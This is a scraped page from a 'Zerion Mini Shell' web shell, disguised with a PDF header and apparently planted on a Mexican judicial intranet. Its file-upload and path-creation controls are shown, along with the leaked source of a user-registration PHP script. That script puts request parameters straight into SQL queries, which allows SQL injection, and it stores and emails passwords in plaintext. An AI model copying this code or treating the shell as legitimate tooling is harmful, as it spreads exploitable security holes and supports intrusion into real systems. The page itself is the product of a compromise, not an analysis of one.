%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/controller/registra_usuario.php

<?php
    
    include "../config/config.php";
	
	$user 		=	isset($_REQUEST['rfc']) ? $_REQUEST['rfc'] : '';
	$password 	= 	isset($_REQUEST['password']) ? $_REQUEST['password'] : '';
	$opciones 	= 	[  'cost' => 12, ];
	$hash 		=   password_hash($password, PASSWORD_BCRYPT, $opciones);
	    
		$conf = new Configuracion();
		$conf->conectarBD();

		$sql = "SELECT * FROM tjam_empleados WHERE rfc = '$user'";
		$rst = $conf->consulta($sql);
		
		$nombre = $rst[0]['nombre'];
    	$rfc = $rst[0]['rfc'];
    	$correo = $rst[0]['correo'];
    	
		if(count($rst) > 0){

			$update = "UPDATE tjam_empleados SET id_estatus = 1, token=0, habilitado = 1, password = '$password', password_hash = '$hash' WHERE rfc = '$rfc' "; 
			$conf->actualizacion($update);
			$sql2 = "SELECT password FROM tjam_empleados WHERE rfc = '$user'";
			$rst2 = $conf->consulta($sql2);
			$pass = $rst2[0]['password'];
			if(enviar_correo_contrasena($nombre,$correoFrom,$correo,$asunto,$mensaje,$adjunto,$rfc,$pass,$pie))
	        	    header("Location: ../page_inicio.php?error=5");
	        	else
	                header("Location: ../page_inicio.php?error=8");
			
		}
		else
			header("Location: ../page_inicio.php");
	
?>

Zerion Mini Shell 1.0